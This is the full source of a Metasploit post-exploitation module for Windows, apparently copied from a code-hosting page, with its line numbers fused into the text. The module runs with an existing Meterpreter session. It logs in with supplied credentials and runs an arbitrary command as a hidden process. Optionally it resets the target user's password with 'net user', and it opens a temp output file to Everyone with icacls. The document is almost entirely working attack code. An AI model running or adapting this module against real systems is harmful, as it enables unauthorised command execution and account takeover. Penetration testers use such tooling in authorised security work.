Path: blob/master/modules/post/windows/manage/run_as.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Priv8include Msf::Post::Windows::Runas910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Manage Run Command As User',15'Description' => %q{16This module will login with the specified username/password and execute the17supplied command as a hidden process. Output is not returned by default, by setting18CMDOUT to true output will be redirected to a temp file and read back in to19display. By setting advanced option SETPASS to true, it will reset the user's20password and then execute the command.21},22'License' => MSF_LICENSE,23'Platform' => ['win'],24'SessionTypes' => ['meterpreter'],25'Author' => ['Kx499'],26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29stdapi_railgun_api30stdapi_sys_config_getprivs31]32}33},34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [],37'Reliability' => []38}39)40)4142register_options(43[44OptString.new('DOMAIN', [true, 'Domain to login with' ]),45OptString.new('USER', [true, 'Username to login with' ]),46OptString.new('PASSWORD', [true, 'Password to login with' ]),47OptString.new('CMD', [true, 'Command to execute' ]),48OptBool.new('CMDOUT', [true, 'Retrieve command output', false])49]50)5152register_advanced_options(53[54OptBool.new('SETPASS', [true, 'Reset password', false])55]56)57end5859# Check if sufficient privileges are present for certain actions and run getprivs for system60# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You61# need to migrate to a process that is running as62# system. If you don't have privs, this exits script.63def priv_check64if is_system?65privs = session.sys.config.getprivs66return privs.include?('SeAssignPrimaryTokenPrivilege') && privs.include?('SeIncreaseQuotaPrivilege')67end6869false70end7172def reset_pass(user, password)73tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}")74return tmpout.include?('successfully')75rescue StandardError76return false77end7879def touch(path)80write_file(path, '')81cmd_exec("icacls #{path} /grant Everyone:(F)")82end8384def run85# Make sure we meet the requirements before running the script, note no need to return86# unless error87return unless session.type == 'meterpreter'8889pi = nil90# check/set vars91setpass = datastore['SETPASS']92cmdout = datastore['CMDOUT']93user = datastore['USER'] || nil94password = datastore['PASSWORD'] || nil95cmd = datastore['CMD'] || nil96domain = datastore['DOMAIN']9798if setpass99print_status('Setting user password')100fail_with(Failure::Unknown, 'Error resetting password') unless reset_pass(user, password)101end102103# If command output is requested, then create output file and set open permissions104if cmdout105system_temp = get_env('WINDIR') << '\\Temp'106outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt"107touch(outpath)108cmdstr = "cmd.exe /c #{cmd} > #{outpath}"109else110cmdstr = "cmd.exe /c #{cmd}"111end112113# Check privs and execute the correct commands114# if user use createprocesswithlogon, if system logonuser and createprocessasuser115# execute command and get output with a poor mans pipe116if priv_check117print_status('Executing CreateProcessAsUserA...we are SYSTEM')118pi = create_process_as_user(domain, user, password, nil, cmdstr)119if pi120session.railgun.kernel32.CloseHandle(pi[:process_handle])121session.railgun.kernel32.CloseHandle(pi[:thread_handle])122end123else124print_status('Executing CreateProcessWithLogonW...')125pi = create_process_with_logon(domain, user, password, nil, cmdstr)126end127128# Only process file if the process creation was successful, delete when done, give us info129# about process130if pi131tmpout = read_file(outpath) if cmdout132133print_status("Command Run: #{cmdstr}")134vprint_status("Process Handle: #{pi[:process_handle]}")135vprint_status("Thread Handle: #{pi[:thread_handle]}")136vprint_status("Process Id: #{pi[:process_id]}")137vprint_status("Thread Id: #{pi[:thread_id]}")138print_status("Command output:\r\n#{tmpout}") if cmdout139end140141if cmdout142print_status("Removing temp file #{outpath}")143rm_f(outpath)144end145end146end147148149